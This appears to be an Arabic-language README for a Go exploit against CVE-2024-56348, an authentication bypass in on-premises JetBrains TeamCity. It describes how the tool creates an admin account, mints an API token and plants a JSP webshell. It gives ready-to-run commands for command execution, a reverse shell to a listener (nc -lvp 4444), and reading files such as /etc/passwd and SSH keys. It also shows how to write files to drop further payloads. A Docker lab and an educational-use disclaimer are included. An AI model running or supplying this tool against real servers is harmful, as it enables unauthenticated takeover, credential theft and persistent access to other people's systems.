
# استغلال مبني على Go لـ CVE-2024-56348 يستهدف تجاوز المصادقة وتنفيذ الأوامر عن بُعد في JetBrains TeamCity. يوفر شل تفاعلية، شل عكسية، قراءة/كتابة الملفات، وتنفيذ أوامر مفردة دون الحاجة إلى بيانات اعتماد.
ثغرة CVE-2024-56348 هي ثغرة حرجة في تجاوز المصادقة في JetBrains TeamCity المثبّت محليًا (on-premises) تؤثر على جميع الإصدارات السابقة للإصدار 2024.12. تتعامل REST API بشكل غير صحيح مع الطلبات الموجهة إلى مسارات تحتوي على ;.jsp، مما يسمح لمهاجم غير مصادق باستدعاء أي نقطة نهاية REST كما لو كان قد تمت مصادقته بالكامل.
يجمع هذا الاستغلال بين تجاوز المصادقة وREST API الخاصة بـ TeamCity لإنشاء حساب SYSTEM_ADMIN، وسكّ رمز API، وتحقيق تنفيذ كامل للتعليمات البرمجية عن بُعد — إما عبر نقطة نهاية التصحيح المدمجة أو عبر webshell مكوّن من إضافة JSP يتم رفعها ديناميكيًا. لا حاجة لأي بيانات اعتماد.
الإصدارات المتأثرة: JetBrains TeamCity المثبّت محليًا < 2024.12
-command مع إخراج كامل لـ stdout وstderr ورمز الخروجgit clone https://github.com/joshuavanderpoll/cve-2024-56348.git
cd CVE-2024-56348
go build -o exp cve-2024-56348.go
go install github.com/joshuavanderpoll/cve-2024-56348@latest
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://127.0.0.1:8111
-t Target URL (e.g. http://127.0.0.1:8111)
-command Execute a single command and print output
-shell Spawn a reverse shell (requires -lhost and -lport)
-lhost Listener host for the reverse shell
-lport Listener port for the reverse shell
-read-file Read a remote file and print its contents
-write-file Remote path to write to (requires -file-content)
-file-content Content to write when using -write-file
عدم تحديد أي علم إجراء يقود تلقائيًا إلى قشرة تفاعلية.
يتصل بالهدف، ويؤكد نجاح تجاوز المصادقة، وينشئ حساب مسؤول مؤقتًا، ثم يفتح قشرة تفاعلية. تعرض المطالبة رمز خروج آخر أمر باللون الأخضر (نجاح) أو الأحمر (غير صفري).
./cve-2024-56348 -t http://127.0.0.1:8111

ينفّذ أمرًا واحدًا ويطبع stdout وstderr ورمز الخروج بشكل منفصل.
./cve-2024-56348 -t http://127.0.0.1:8111 -command "id"

تنشر إضافة JSP webshell وتطلق قشرة عكسية عائدة إلى المستمع الخاص بك. ابدأ بتشغيل nc -lvp 4444 أولاً.
./cve-2024-56348 -t http://127.0.0.1:8111 -shell -lhost 10.0.0.1 -lport 4444

يقرأ أي ملف يمكن لعملية TeamCity الوصول إليه — مفيد لملفات الإعدادات ومفاتيح SSH وما إلى ذلك.
./cve-2024-56348 -t http://127.0.0.1:8111 -read-file /etc/passwd

يكتب محتوى عشوائيًا إلى مسار بعيد. مفيد لإسقاط حمولات إضافية أو تعديل الإعدادات.
./cve-2024-56348 -t http://127.0.0.1:8111 -write-file /tmp/readme.txt -file-content "LEAVE ME HERE"

بيئة Docker Compose متكاملة مع نسخة TeamCity قابلة للاستغلال للاختبار المحلي. اطّلع على DOCKER.md لمزيد من التفاصيل
cd docker/
docker compose up -d
./cve-2024-56348 -t http://127.0.0.1:8111
إذا أعاد البرنامج النصي "[-] Plugin upload failed." فحاول تسجيل الدخول باستخدام مستخدم hackindex ثم حاول مرة أخرى. (يمكن العثور على بيانات الاعتماد في DOCKER.md)
تُقدَّم هذه الأداة لأغراض تعليمية وبحثية فقط. لا يتحمّل المنشئ أي مسؤولية عن أي سوء استخدام أو ضرر ناتج عن هذه الأداة.